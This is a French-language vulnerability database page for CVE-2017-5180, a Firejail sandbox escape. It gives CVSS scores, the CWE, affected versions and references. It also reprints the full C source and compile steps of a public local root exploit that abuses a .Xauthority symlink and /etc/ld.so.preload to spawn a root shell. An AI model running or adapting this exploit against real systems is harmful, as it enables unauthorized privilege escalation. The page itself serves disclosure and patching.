CVE-2017-5180 : Détail

CVE-2017-5180

8.8
/
Haute
Authorization problems
A01-Broken Access Control
0.39%V4
Local
2017-02-09
17h00 +00:00
2017-03-23
14h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Firejail before 0.9.44.4 and 0.9.38.x LTS before 0.9.38.8 LTS does not consider the .Xauthority case during its attempt to prevent accessing user files with an euid of zero, which allows local users to conduct sandbox-escape attacks via vectors involving a symlink and the --private option.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-862 Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 8.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 43359

Date de publication : 2017-01-03 23h00 +00:00
Auteur : Sebastian Krahmer
EDB Vérifié : No

/* firejail local root exploit (host to host) * * (C) 2017 Sebastian Krahmer under the GPL. * * WARNING: This exploit uses ld.so.preload technique. * If you are in bad luck, you may end up with an unusable system. * SO BE WARNED. ONLY TEST IT IN YOUR SAFE VM's. * * Get the beauty that this is a shared lib and a running * executable at the same time, as we tamper with /etc/ld.so.preload * * Therefore you have to compile it like this: * * $ cc -fPIC -fpic -std=c11 -Wall -pedantic -c firenail.c * $ gcc -shared -pie firenail.o -o firenail * $ ./firenail * * DO NOT TELL ME THAT SELINUX WOULD HAVE PREVENTED THIS EXPLOIT. * IF I WAS ABOUT TO BYPASS SELINUX ALONG, I WOULD HAVE DONE THE * EXPLOIT DIFFERENTLY. * * Analysis: Sandboxing is cool, but it has to be done right. * Firejail has too broad attack surface that allows users * to specify a lot of options, where one of them eventually * broke by accessing user-files while running with euid 0. * There are some other similar races. Turns out that it can be * _very difficult_ to create a generic sandbox suid wrapper thats * secure but still flexible enough to sandbox arbitrary binaries. * * Tested with latest commit 699ab75654ad5ab7b48b067a2679c544cc8725f6. */ #define _POSIX_C_SOURCE 200212 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #include <sys/types.h> const char *const ldso = "/etc/ld.so.preload"; int main(); __attribute__((constructor)) void init(void) { if (geteuid()) return; unlink(ldso); char *sh[] = {"/bin/sh", "--noprofile", "--norc", NULL}; setuid(0); setgid(0); execve(*sh, sh, NULL); exit(1); } void die(const char *s) { perror(s); exit(errno); } int main() { printf("[*] fire(j|n)ail local root exploit 2017\n\n"); char me[4096] = {0}, *home = getenv("HOME"); if (!home) die("[-] no $HOME"); if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) die("[-] Unable to find myself"); char path[256] = {0}; snprintf(path, sizeof(path) - 1, "%s/.firenail", home); if (mkdir(path, 0700) < 0 && errno != EEXIST) die("[-] mkdir"); snprintf(path, sizeof(path) - 1, "%s/.firenail/.Xauthority", home); if (symlink(ldso, path) < 0 && errno != EEXIST) die("[-] symlink"); system("firejail --private=.firenail /usr/bin/id"); int fd = open(ldso, O_RDWR|O_TRUNC); if (fd < 0) die("[-] open"); write(fd, me, strlen(me)); write(fd, "\n", 1); close(fd); char *su[] = {"/bin/su", NULL}; execve(*su, su, NULL); die("[-] execve su"); return -1; }

Products Mentioned

Configuraton 0

Firejail_project>>Firejail >> Version To (excluding) 0.9.44.4

Firejail_project>>Firejail >> Version From (including) 0.9.38 To (excluding) 0.9.38.8

Références

http://www.securityfocus.com/bid/95298
Tags : vdb-entry, x_refsource_BID
https://security.gentoo.org/glsa/201701-62
Tags : vendor-advisory, x_refsource_GENTOO